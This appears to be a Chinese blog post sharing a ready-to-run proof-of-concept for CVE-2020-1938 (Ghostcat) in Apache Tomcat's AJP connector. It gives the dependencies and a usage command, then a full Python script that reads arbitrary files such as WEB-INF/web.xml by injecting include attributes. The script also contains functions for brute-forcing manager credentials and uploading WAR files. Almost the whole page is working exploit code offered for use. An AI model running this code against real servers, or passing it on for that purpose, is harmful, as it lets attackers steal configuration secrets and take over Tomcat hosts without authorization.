A-A+
CVE-2020-1938 Tomcat ajp-POC 任意文件读取
ajpy==0.0.4
colorama==0.4.3
colorlog==4.1.0
python poc.py 172.xx.xxx.75 -p 8009 -f "/WEB-INF/web.xml"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 | #!/usr/bin/env python2.7 # # Julien Legras - Synacktiv # # THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY # EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException from pprint import pprint, pformat import socket import argparse import logging import re import os from StringIO import StringIO import logging from colorlog import ColoredFormatter from urllib import unquote def setup_logger(): """Return a logger with a default ColoredFormatter.""" formatter = ColoredFormatter( "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s", datefmt="%Y-%m-%d %H:%M:%S", reset=True, log_colors={ 'DEBUG': 'bold_purple', 'INFO': 'bold_green', 'WARNING': 'bold_yellow', 'ERROR': 'bold_red', 'CRITICAL': 'bold_red', } ) logger = logging.getLogger('meow') handler = logging.StreamHandler() handler.setFormatter(formatter) logger.addHandler(handler) logger.setLevel(logging.DEBUG) return logger logger = setup_logger() # helpers def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", bufsize=0) def test_password(self, user, password): res = False stop = False self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode( 'base64').replace('\n', '') while not stop: logger.debug("testing %s:%s" % (user, password)) responses = self.forward_request.send_and_receive(self.socket, self.stream) snd_hdrs_res = responses[0] if snd_hdrs_res.http_status_code == 404: raise NotFoundException("The req_uri %s does not exist!" % self.req_uri) elif snd_hdrs_res.http_status_code == 302: self.req_uri = snd_hdrs_res.response_headers.get('Location', '') logger.info("Redirecting to %s" % self.req_uri) self.forward_request.req_uri = self.req_uri elif snd_hdrs_res.http_status_code == 200: logger.info("Found valid credz: %s:%s" % (user, password)) res = True stop = True if 'Set-Cookie' in snd_hdrs_res.response_headers: logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', ''))) elif snd_hdrs_res.http_status_code == 403: logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % ( user, password)) stop = True elif snd_hdrs_res.http_status_code == 401: stop = True return res def start_bruteforce(self, users, passwords, req_uri, autostop): logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri) f_users = open(users, "r") f_passwords = open(passwords, "r") valid_credz = [] try: for user in f_users: f_passwords.seek(0, 0) for password in f_passwords: if autostop and len(valid_credz) > 0: self.socket.close() return valid_credz user = user.rstrip('\n') password = password.rstrip('\n') if self.test_password(user, password): valid_credz.append((user, password)) except NotFoundException as e: logger.fatal(e.message) finally: logger.debug("Closing socket...") self.socket.close() return valid_credz def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ( "%s:%s" % (user, password)).encode('base64').replace('\n', '') for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) print(responses) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res))) return snd_hdrs_res, data_res def upload(self, filename, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) with open(filename, "rb") as f_input: with open("/tmp/request", "w+b") as f: s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename( filename) s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n' f.write(s_form_header) f.write(f_input.read()) f.write(s_form_footer) data_len = os.path.getsize("/tmp/request") headers = { "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti", "SC_REQ_CONTENT_LENGTH": "%d" % data_len, "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host), "Origin": "http://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}] if old_version == False: attributes.append({"name": "query_string", "value": deploy_csrf_token}) old_apps = self.list_installed_applications(user, password, old_version) r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password, attributes=attributes) with open("/tmp/request", "rb") as f: br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER) br.send_and_receive(self.socket, self.stream) r = AjpResponse.receive(self.stream) if r.prefix_code == AjpResponse.END_RESPONSE: logger.error('Upload failed') while r.prefix_code != AjpResponse.END_RESPONSE: r = AjpResponse.receive(self.stream) logger.debug('Upload seems normal. Checking...') new_apps = self.list_installed_applications(user, password, old_version) if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps: logger.info('Upload success!') else: logger.error('Upload failed') def get_error_page(self): return self.perform_request("/blablablablabla") def get_version(self): hdrs, data = self.get_error_page() for d in data: s = re.findall('(Apache Tomcat/[0-9\.]+) ', d.data) if len(s) > 0: return s[0] def get_csrf_token(self, user, password, old_version, headers={}, query=[]): # first we request the manager page to get the CSRF token hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password) deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"', "".join([d.data for d in rdata])) if old_version == False: if len(deploy_csrf_token) == 0: logger.critical("Failed to get CSRF token. Check the credentials") return logger.debug('CSRF token = %s' % deploy_csrf_token[0]) obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly", hdrs.response_headers.get('Set-Cookie', '')) if obj is not None: return deploy_csrf_token[0], obj return deploy_csrf_token[0], None def list_installed_applications(self, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) headers = { "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded", "SC_REQ_CONTENT_LENGTH": "0", "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host), "Origin": "http://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}] if old_version == False: attributes.append({ "name": "query_string", "value": "%s" % deploy_csrf_token}) hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password, attributes=attributes) found = [] for d in data: im = re.findall('/manager/html/expire\?path=([^&]*)&', d.data) for app in im: found.append(unquote(app)) return found def undeploy(self, path, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) path_app = "path=%s" % path headers = { "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded", "SC_REQ_CONTENT_LENGTH": "0", "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host), "Origin": "http://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}] if old_version == False: attributes.append({ "name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)}) r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password, attributes=attributes) r = AjpResponse.receive(self.stream) if r.prefix_code == AjpResponse.END_RESPONSE: logger.error('Undeploy failed') # Check the successful message found = False regex = r'<small><strong>Message:<\/strong><\/small> <\/td>\s*<td class="row-left"><pre>(OK - .*' + path + ')\s*<\/pre><\/td>' while r.prefix_code != AjpResponse.END_RESPONSE: r = AjpResponse.receive(self.stream) if r.prefix_code == 3: f = re.findall(regex, r.data) if len(f) > 0: found = True if found: logger.info('Undeploy succeed') else: logger.error('Undeploy failed') if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('target', type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") args = parser.parse_args() bf = Tomcat(args.target, args.port) attributes = [ {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']}, {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]}, {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']}, ] snd_hdrs_res, data_res = bf.perform_request(req_uri='/', method='GET', attributes=attributes) ##/注意这里要修改路径。 print("".join([d.data for d in data_res])) |
POC来源:https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC
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